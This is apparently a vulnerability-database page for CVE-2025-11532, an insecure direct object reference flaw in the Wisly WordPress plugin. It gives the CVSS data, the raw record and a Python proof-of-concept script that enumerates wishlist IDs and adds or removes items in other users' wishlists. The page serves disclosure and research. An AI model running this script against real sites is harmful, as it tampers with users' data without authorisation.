Security Vulnerability Report
中文
CVE-2025-11532 CVSS 5.3 MEDIUM

CVE-2025-11532

Published: 2025-11-11 04:15:42
Last Modified: 2026-04-15 00:35:42

Description

The Wisly plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.0.0 due to missing validation on the 'wishlist_id' user controlled key. This makes it possible for unauthenticated attackers to remove and add items to other user's wishlists.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Wisly plugin for WordPress <= 1.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-11532 PoC - WordPress Wisly Plugin IDOR Vulnerability # Target: WordPress site with Wisly plugin <= 1.0.0 TARGET_URL = "http://target-wordpress-site.com" def exploit_weakness(target_url, wishlist_id, action="add", item_id=1): """ Exploit IDOR vulnerability in Wisly plugin Args: target_url: Base URL of WordPress site wishlist_id: Target wishlist ID to manipulate (IDOR parameter) action: 'add' or 'remove' items item_id: Item ID to add or remove """ if action == "add": # Add item to victim's wishlist endpoint = f"{target_url}/wp-json/wisly/v1/wishlist/{wishlist_id}/items" data = {"item_id": item_id} method = "POST" else: # Remove item from victim's wishlist endpoint = f"{target_url}/wp-json/wisly/v1/wishlist/{wishlist_id}/items/{item_id}" data = {} method = "DELETE" headers = { "Content-Type": "application/json", "X-Wishlist-Id": str(wishlist_id) # User-controlled parameter without validation } try: if method == "POST": response = requests.post(endpoint, json=data, headers=headers, timeout=10) else: response = requests.delete(endpoint, headers=headers, timeout=10) print(f"[*] Request sent to: {endpoint}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:200]}") if response.status_code in [200, 201, 204]: print("[+] Successfully manipulated victim's wishlist!") return True else: print("[-] Exploitation failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def enumerate_wishlists(target_url, start_id=1, end_id=1000): """ Enumerate valid wishlist IDs """ valid_ids = [] endpoint = f"{target_url}/wp-json/wisly/v1/wishlist" print(f"[*] Enumerating wishlist IDs from {start_id} to {end_id}...") for wishlist_id in range(start_id, end_id + 1): headers = {"X-Wishlist-Id": str(wishlist_id)} try: response = requests.get(endpoint, headers=headers, timeout=5) if response.status_code == 200: print(f"[+] Found valid wishlist ID: {wishlist_id}") valid_ids.append(wishlist_id) except: continue return valid_ids if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-11532_poc.py <target_url> [wishlist_id]") print("Example: python cve-2025-11532_poc.py http://example.com 123") sys.exit(1) target = sys.argv[1] wishlist_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1 # Demonstrate vulnerability print("=" * 60) print("CVE-2025-11532 PoC - Wisly Plugin IDOR") print("=" * 60) # Try to add item to victim's wishlist exploit_weakness(target, wishlist_id, action="add")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11532", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:41.953", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Wisly plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.0.0 due to missing validation on the 'wishlist_id' user controlled key. This makes it possible for unauthenticated attackers to remove and add items to other user's wishlists."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://wordpress.org/plugins/wisly/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b311b404-f808-40fc-9f09-4eac05bce798?source=cve", "source": "[email protected]"}]}}